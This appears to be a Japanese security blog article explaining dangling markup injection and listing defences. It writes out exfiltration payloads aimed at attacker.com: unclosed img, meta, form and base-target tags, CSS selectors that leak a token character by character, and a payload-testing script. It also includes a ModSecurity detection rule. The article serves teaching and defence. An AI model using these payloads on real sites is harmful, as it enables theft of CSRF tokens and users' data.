Dangling Markup Injection: JavaなしでCSRFトークンを漏洩させる手法

現代Webセキュリティを回避するサイレントデータ抽出技術の理解
Webアプリケーションのセキュリティは進化し続けており、攻撃者は防御策を回避する新たな手法を次々に発見しています。Content Security Policy (CSP)や入力フィルターは従来のCross-Site Scripting (XSS)攻撃を防ぐのに効果的ですが、Dangling Markup Injectionと呼ばれる高度な攻撃手法は、JavaScriptを実行せずに機密情報を抽出する代替手段を攻撃者に提供します。この技術は、ブラウザの基本的な挙動やHTMLのパースメカニズムを利用し、CSRFトークンやセッションID、個人情報などをキャプチャします。
Dangling Markup Injectionとは何か?
Dangling markup injectionは、完全なクロスサイトスクリプティング攻撃が不可能な状況でデータをクロスドメインで取得するための手法です。従来のXSS攻撃はスクリプトの実行を必要としますが、dangling markupはブラウザが不完全なHTMLタグや属性をパースする仕組みを悪用します。
この攻撃は、閉じられていないタグや属性を利用して、ターゲットWebページのコード内やフォームに入力された情報から機密データにアクセスします。基本的な原理は、ブラウザの寛容なパース動作に依存しており、未閉じの属性やタグに遭遇すると、ブラウザは次の閉じタグやデリミタを見つけるまで次の内容を読み続けます。
コアメカニズム
攻撃は、未完の属性を持つHTMLタグを注入することで動作します。レスポンスをパースする際、ブラウザは次のシングルクォートまで読み続け、その間の内容をURLの一部とみなして攻撃者のサーバに送信します。
脆弱なWebアプリケーションが、適切なサニタイズを行わずにユーザー制御のデータをHTMLレスポンスに埋め込む例:
input type="text" name="search" value="USER_INPUT_HERE"
アプリケーションが"やなどの文字をエスケープしない場合、攻撃者は悪意のペイロードを注入し、既存のコンテキストを抜け出して未閉じの属性を持つ新しいHTML要素を挿入できます。
Dangling Markup Injectionの仕組み
基本的な攻撃ベクトル
最も単純な実装は、未閉じのsrc属性を持つ画像タグを注入することです。攻撃の流れは次の通り:
元の脆弱なHTML:
input type="text" name="email" value="USER_CONTROLLED_INPUT"
input type="hidden" name="csrf_token" value="a8d7f6e5c4b3a2"
攻撃者のペイロード:
"<img src='https://attacker.com/collect?data=
注入後のHTML:
input type="text" name="email" value=""<img src='https://attacker.com/collect?data=
input type="hidden" name="csrf_token" value="a8d7f6e5c4b3a2"
この結果、攻撃者は注入ポイント以降のレスポンスの一部(例:CSRFトークンやメール内容、金融データ)をキャプチャできます。ブラウザは、src='https://attacker.com/collect?data=と次のシングルクォートまでの内容を画像のURLの一部とみなしてGETリクエストを送信します。
https://attacker.com/collect?data=<input type="hidden" name="csrf_token" value="a8d7f6e5c4b3a2">
URLエンコードされた非英数字や改行も含めて、攻撃者は注入ポイントから閉じタグまでの全内容を取得可能です。
代替的なエクスプロイト技術
画像タグ以外にも、外部リクエストを行うHTML要素を悪用できます:
1. Metaリフレッシュタグ
"<meta http-equiv="refresh" content="0;url=https://attacker.com/exfil?
このペイロードはページをリダイレクトしつつ、URLパラメータに内容をキャプチャします。
2. フォームアクションの操作
"<form action='https://attacker.com/capture?
フォーム送信データも攻撃者のサーバに送信され、マークアップもキャプチャされます。
3. baseタグの悪用
baseタグのtarget属性を利用し、ページ内のリンクのウィンドウ名を変更します。未完のtarget属性を注入すると、すべてのリンクのHTML内容が次のクォートまで設定され、クロスドメインでの情報漏洩につながります。
<a href="https://attacker.com/payload.html"<font size=100 color=redClick here</font</a>
<base target='
ユーザがページ内のリンクをクリックすると、window.nameにすべてのHTML内容が格納され、クロスドメインでアクセス可能となります。
4. CSSを用いた情報漏洩
CSSは@importルールを使って外部CSSを読み込み、CSSクエリセレクタと組み合わせてページ内の任意HTMLコンテンツを抽出できます:
<style
input[name=csrf_token][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf_token][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/style
このCSSのクエリセレクタは、値が特定の文字で始まるinputタグを見つけ、背景画像として攻撃者のURLを読み込みます。これにより、1文字ずつのトークン抽出が可能です。
Dangling Markupの危険性が特に高い理由
従来のXSS防御を回避
Dangling markupは、厳格なCSPがあっても動作し、JavaScriptの実行を必要とせず、CSRFトークンやセッションIDなどの機密データを盗むことができます。
現代のWebアプリは複数の防御層を実装しています:
- 入力検証とフィルタリング -
<script>タグやJavaScriptイベントハンドラをブロック - Content Security Policy (CSP) - インラインスクリプトの実行を防ぎ、リソースの読み込みを制限
- XSSオーディター / フィルター - ブラウザ側で悪意のあるスクリプトを検出
- 出力エンコーディング - ユーザ入力の危険文字をエスケープ
Dangling markupはこれらの防御策を回避します。なぜなら:
- JavaScriptの実行不要 - HTML構造とブラウザの挙動だけに依存
- 標準タグの利用 -
<img、<meta、<formなど、多くのアプリが許容するタグを悪用 - 微妙な構文 - フィルターが検知しにくいパターンを使用
- ブラウザのネイティブ挙動 - セキュリティ脆弱性ではなくHTMLパースルールの特性を利用
実世界の影響シナリオ
CSRFトークンの窃取
最も重要な用途はCSRFトークンの盗用です。攻撃者が有効なCSRFトークンを取得すると:
- 不正な状態変更操作を実行
- ユーザのアカウント設定を変更
- 金融取引を開始
- パスワードやメールアドレスを変更
- ユーザーデータを削除
機密情報の漏洩
CSRFトークン以外にも、攻撃者は以下を抽出可能:
- 個人識別情報(PII) - 名前、住所、電話番号
- 金融データ - クレジットカード情報、銀行口座情報
- セッションID - セッションハイジャックに利用
- メール内容 - 表示されたメッセージ
- プライベートメッセージ - チャットや通知
- APIキーやシークレット - 隠しフォームやJavaScript変数に露出
リコナイサンスとプロファイリング
即時の攻撃が難しくても、取得したデータは有益な情報源となります:
- アプリケーションの構造や隠された機能
- 内部パラメータ名やフォーマット
- CSRFトークン生成パターン
- ユーザの行動やインタラクションパターン
ブラウザの挙動とパースの癖
未閉じ属性の取り扱い
現代のブラウザはHTML5仕様に基づき、寛容なHTMLパースを実施します。これはユーザエクスペリエンスを優先し、厳格な構文ルールを緩和するためです。未閉じの属性に遭遇すると:
- 属性値のコンテキストに入る
- 対応するクォートが見つかるまで文字を消費し続ける
- 次のクォートはリテラルとして扱われる
- 属性は複数行やネストされた要素にまたがって開いたまま
- 対応する閉じクォートまたはドキュメント終端まで続く
この挙動は、HTMLの破損を許容し、dangling markupの脆弱性を生み出します。
URLエンコードとデータ送信
非英数字や改行はURLエンコードされて送信されるため、攻撃者はキャプチャした内容を構造化された形式で受け取ります:
https://attacker.com/collect?data=%3Cinput%20type%3D%22hidden%22%20name%3D%22csrf%22%20value%3D%22token123%22%3E
これをデコードすると、元のHTML構造が明らかになり、特定の値をプログラム的に抽出可能です。
Chromeの対策
Chromeは、angle bracketsや改行を含むURLを持つimgタグなどのタグをブロックし、dangling markup攻撃を防止しようとしています。これにより、多くの基本的なペイロードは防げますが、攻撃の全てを排除できるわけではありません。攻撃者は:
- URL制限のない他のHTML要素を利用
- HTTP以外のプロトコル(例:FTP)を悪用
- URLパラメータに依存しないDOMベースの手法を利用
- ユーザの操作をトリガーとした攻撃
CSPを回避する方法
CSPは多くのXSS攻撃を防ぎますが、dangling markupはCSPの防御を突破することがあります。
CSPの制限
多くのCSPはスクリプトの実行をブロックしますが、画像リクエストは許可されることが多いため、imgタグを使った情報漏洩が可能です。
例:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
この設定では外部スクリプトはブロックされますが、画像の読み込みは許可されるため、基本的なdangling markup攻撃に対して脆弱です。
CSPのディレクティブによる対策
より制限的なポリシー例:
Content-Security-Policy: default-src 'none'; img-src 'self'; base-uri 'none'
しかし、CSPの制限を突破する方法もあります:
DOMベースのdangling markup技術
最も制約の厳しいCSP環境でも、ユーザ操作とbase target属性を組み合わせて情報漏洩が可能です:
<a href="http://attacker.com/payload.html"
<font size=100 color=redYou must click me</font
</a>
<base target='
リンクをクリックすると、window.nameにHTML内容が格納され、クロスドメインでアクセス可能となります。
iframeのname属性を悪用
<iframe src="vulnerable-page.php?input="<iframe name='" onload="exfiltrate(this.contentWindow)"
/iframe
inner iframeのname属性により、その後のページ内容をキャプチャし、JavaScriptで外部サーバに送信できます。
高度なエクスプロイト技術
自動トークン抽出
攻撃者は自動化ツールを用いて、キャプチャしたマークアップから特定の値を抽出します。CSSの正規表現セレクタを利用し、トークンのプレフィックスに基づきリクエストをトリガーさせることも可能です:
<style
input[name=csrftoken][value^=a]{ background-image: url(https://attacker.com/exfil/a); }
input[name=csrftoken][value^=b]{ background-image: url(https://attacker.com/exfil/b); }
/* ...すべての文字に対して続く*/
input[name=csrftoken][value^=a0]{ background-image: url(https://attacker.com/exfil/a0); }
input[name=csrftoken][value^=a1]{ background-image: url(https://attacker.com/exfil/a1); }
/style
リクエストを受け取ったURLから攻撃者はトークン全体を再構築します。ツール例としてcssrfがあります。
複合攻撃
dangling markupは複雑な攻撃チェーンの最初の段階として利用されることもあります:
- 偵察 - ページ構造や機密フィールドの抽出
- トークンの窃取 - dangling markupを使ったCSRFトークンの取得
- セッションハイジャック - 取得したセッションIDの利用
- 権限昇格 - 管理者権限の操作
- データ漏洩 - 高権限を利用した情報アクセス
永続的攻撃
コメントやプロフィール、メッセージにペイロードを注入し、すべての閲覧者に対して持続的なdangling markup攻撃を仕掛けることも可能です。これにより、一つの脆弱性が大規模なデータ収集に変わります。
実世界の脆弱性とケーススタディ
SNSプラットフォーム
SNSは、コメントや投稿、プロフィールに限定的なHTMLを許可していることが多く、十分なサニタイズが行われていないとdangling markupの脆弱性が生じます。攻撃者は:
- 被害者のプロフィールから認証トークンを取得
- プライベートメッセージのプレビューを抜き取る
- ユーザのセッションデータを収集
- 詳細な行動プロファイルを作成
ECサイト
商品レビューやサポートチケット、ウィッシュリスト、支払いフォームなどにdangling markupが悪用される例:
- クレジットカード情報や請求先住所、注文履歴の窃取
メールWebクライアント
メールは高感度情報を含むためターゲットになりやすく:
- メール内容の窃取
- 連絡先リストの収集
- 認証コードの取得
- リアルタイムの通信監視
総合的な予防と対策
入力検証とサニタイズ
クロスサイトスクリプティング対策と同様に、出力時のエンコーディングと入力時の検証でdangling markupを防止できます。
厳格な入力検証
ホワイトリスト方式で許可された文字やパターンのみを通す:
import re
def validate_user_input(input_string):
# 英数字、空白、基本的な句読点のみ許可
allowed_pattern = re.compile(r'^[a-zA-Z0-9\s.,!?-]+$')
if not allowed_pattern.match(input_string):
raise ValueError("不正な文字が含まれています")
# 文字数制限
if len(input_string) > 200:
raise ValueError("入力が長すぎます")
return input_string
コンテキストに応じた出力エンコーディング
適切なエンコーディングを適用:
import html
def safe_html_render(user_data):
# HTMLエスケープ
return html.escape(user_data, quote=True)
quote=Trueはシングル・ダブルクォートの両方をエスケープし、属性の中から抜け出すのを防ぎます。
CSPの設定
厳格なHTML属性エンコーディング、connect-src制限、未完のタグ検出を行います:
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random}';
style-src 'self';
img-src 'self';
font-src 'self';
connect-src 'self';
frame-src 'none';
base-uri 'none';
form-action 'self';
frame-ancestors 'none';
主要なディレクティブ:
img-src 'self'- 外部画像の読み込みを防止base-uri 'none'- baseタグの注入をブロックform-action 'self'- フォーム送信先を制限connect-src 'self'- AJAXやWebSocketの通信を制限
CSPレポート
違反を検知するためにレポートを有効化:
Content-Security-Policy: default-src 'self'; report-uri /csp-violation-report
攻撃パターンを監視・分析します。
サーバサイドの保護
レスポンスヘッダのセキュリティ
追加のセキュリティヘッダ:
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: no-referrer
Permissions-Policy: geolocation=(), microphone=(), camera=()
DOMサニタイズライブラリ
信頼性の高いサニタイズライブラリを利用:
JavaScript (クライアント側):
import DOMPurify from 'dompurify';
function sanitizeHTML(dirty) {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: [],
KEEP_CONTENT: true
});
}
Python (サーバ側):
from bleach import clean
def sanitize_html(user_input):
allowed_tags = ['b', 'i', 'em', 'strong', 'p']
allowed_attrs = {}
return clean(
user_input,
tags=allowed_tags,
attributes=allowed_attrs,
strip=True
)
アプリケーションアーキテクチャの考慮点
コンテキストの分離
セキュリティコンテキストを厳格に分離:
- ユーザ制御データと機密情報を同じHTML内に混在させない
- CSRFトークンを含む操作は別ページやAJAXエンドポイントを利用
- トークン配信はHTTPヘッダを利用し、HTML本文には含めない
トークンの保護
CSRFトークンはサーバ側で生成し、セッションごとまたはリクエストごとに一度だけ発行します。リクエストごとのトークンは、盗まれたトークンの悪用リスクを最小化します。
管理のベストプラクティス:
- サーバ側生成のみ - JavaScriptで生成しない
- 強力な乱数 - 暗号学的に安全な乱数を使用
- セッションバインド - 特定のユーザセッションに結びつける
- 短い有効期限 - 時間制限を設ける
- HTTP-onlyクッキー - JavaScriptからアクセス不可
- SameSite属性 - クロスオリジンのクッキー送信を制限
ダブルサブミットクッキーパターン
最も安全な実装は、署名付きダブルサブミットクッキーです。トークンをユーザの認証セッションに明示的に結びつけ、HMACとサーバ秘密鍵を用いて署名します:
import hmac
import hashlib
import secrets
def generate_csrf_token(session_id, secret_key):
# ランダムなトークン生成
random_token = secrets.token_urlsafe(32)
# セッションに結びつけたHMAC署名
signature = hmac.new(
secret_key.encode(),
f"{session_id}:{random_token}".encode(),
hashlib.sha256
).hexdigest()
# トークンと署名を結合
return f"{random_token}.{signature}"
def validate_csrf_token(token, session_id, secret_key):
try:
random_token, signature = token.split('.')
expected_signature = hmac.new(
secret_key.encode(),
f"{session_id}:{random_token}".encode(),
hashlib.sha256
).hexdigest()
return hmac.compare_digest(signature, expected_signature)
except:
return False
検知と監視
WAFルール
Webアプリケーションファイアウォール(WAF)のルール設定例:
# ModSecurityルール例
SecRule REQUEST_BODY "@rx <(?:img|iframe|form|base|meta|link)[^\u003e]*(?:src|href|action|target)\s*=\s*['\"]?[^'\"]*$" \
"id:100001, phase:2, deny, log, msg:'Dangling markup injection detected'"
異常検知
アプリケーションログの監視:
- 不自然に長いURLパラメータ
- HTMLエンティティエンコードされた複数リクエスト
- 未閉じ属性のパターン
- 予期しない外部ドメインからのリクエスト
ユーザ行動分析
異常な活動を追跡:
- 失敗したフォーム送信
- 短時間に複数リクエスト
- 予期しない外部リソースの読み込み
- ユーザエージェントやリファラの変化
Dangling Markupの脆弱性テスト
手動テスト手法
- 注入ポイントの特定 - 入力フィールドやURLパラメータ
- 文字フィルタリングの検証 - ブロックされる文字の確認:
など - 基本ペイロードの注入 - 未完のタグ例:
"<img src='http://attacker.com? - ソースコードの確認 - レンダリングされたHTMLの確認
- データ漏洩の検証 - 攻撃者サーバへのリクエスト監視
- CSPの効果確認 - 代替要素を使った回避試行
自動スキャン
ツールやスクリプトを利用:
import requests
def test_dangling_markup(url, parameter):
payloads = [
'"<img src="http://attacker.com?',
"'<img src='http://attacker.com?",
'"<iframe src="http://attacker.com?',
'"<meta http-equiv="refresh" content="0;url=http://attacker.com?',
'"<base target="',
]
results = []
for payload in payloads:
test_data = {parameter: payload}
response = requests.post(url, data=test_data)
# ペイロードがレスポンスにそのまま含まれているか
if payload in response.text:
results.append({
'payload': payload,
'vulnerable': True,
'context': extract_context(response.text, payload)
})
return results
ペネトレーションテストチェックリスト
- [ ] すべての入力フィールドのHTMLインジェクションをテスト
- [ ] クォート文字のフィルタリングを検証
- [ ] 角括弧の制限を確認
- [ ] 属性注入を試行
- [ ] CSP回避を試みる
- [ ] CSRFトークンの露出を確認
- [ ] 保存型と反射型の違いを検証
- [ ] ユーザ操作の必要性を評価
- [ ] ブラウザ固有の挙動を確認
- [ ] モバイルアプリのエンドポイントもテスト
- [ ] APIエンドポイントのセキュリティも検証
開発者向けセキュリティガイドライン
セキュアコーディングの実践
- すべての入力は悪意のあるものと仮定 - 信頼しない
- フレームワークのセキュリティ機能を活用
- ディフェンス・イン・デプス - 複数層の防御
- 定期的なセキュリティトレーニング
- コードレビューの重点 - HTMLレンダリングと入力処理
フレームワーク別推奨事項
React
// 自動エスケープがデフォルト
function SafeComponent({ userInput }) {
return <div{userInput}</div}; // 安全 - Reactはデフォルトでエスケープ
}
// 危険 - 明示的にエスケープを無効化
function UnsafeComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{__html: userInput}} /; // 脆弱
}
Angular
// 組み込みのサニタイズを利用
import { DomSanitizer } from '@angular/platform-browser';
constructor(private sanitizer: DomSanitizer) {}
getSafeHtml(userInput: string) {
return this.sanitizer.sanitize(SecurityContext.HTML, userInput);
}
Django
# テンプレートの自動エスケープ(デフォルト有効)
{{ user_input }} # 安全 - 自動エスケープ
# 明示的にエスケープを無効化(危険)
{{ user_input|safe }} # 脆弱
セキュリティレビューのチェックリスト
コード展開前に確認:
- [ ] すべてのユーザ入力はホワイトリストに基づいて検証
- [ ] 出力は適切なコンテキストでエンコード
- [ ] CSPヘッダが適切に設定
- [ ] CSRFトークンが安全に実装
- [ ] 直接HTMLをユーザデータと連結しない
- [ ] サニタイズライブラリは最新
- [ ] セキュリティテストにdangling markupを含める
- [ ] 監視とロギングが適切に設定
まとめ
クロスサイトスクリプティング(XSS)はすべてのCSRF対策を無効化し得るため、Cookieを用いた認証にはCSRFトークンが不可欠です。しかし、dangling markup injectionは、従来のXSSを超えたHTMLのパース挙動の脆弱性を突く高度な攻撃です。
この技術は、包括的なセキュリティアプローチの重要性を示しています。Webアプリの脆弱性を減らすには、HTMLタグを含むコードインジェクションの脆弱性を検査し、ユーザ入力を適切にサニタイズし、Content Security Policyを導入し、ブラウザの保護機能を活用することが推奨されます。
重要ポイント
- Dangling markupはJavaScript不要 - 厳格なCSPやXSSフィルタを回避
- 複数の攻撃ベクトル - 画像、フォーム、baseタグ、メタリダイレクト、CSS
- ブラウザ挙動が攻撃を可能に - HTMLの寛容なパースルール
- 多層防御が必要 - 単一の対策だけでは不十分
- CSRFトークンは依然価値あり - 漏洩リスクはあるが重要
- 継続的な監視が鍵 - 検知と対応が重要
今後の展望
Webアプリは進化し続け、新たなdangling markupの攻撃ベクトルも出現する可能性があります。ブラウザベンダは対策を進めていますが、HTMLのパース挙動は後方互換性のために維持されるため、セキュリティ専門家は新たな技術に注意し、継続的にアプリのセキュリティ状況を見直す必要があります。
ユーザビリティとセキュリティのバランスは難しい課題ですが、リッチなHTMLコンテンツはユーザ体験を向上させる一方で攻撃面も拡大します。組織はリスク許容度を評価し、敏感なデータに応じた適切なセキュリティ対策を講じるべきです。
dangling markup injectionを深く理解し、包括的な防御策を実施し、継続的な監視を行うことで、この巧妙で危険な攻撃手法から組織を守ることが可能です。
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.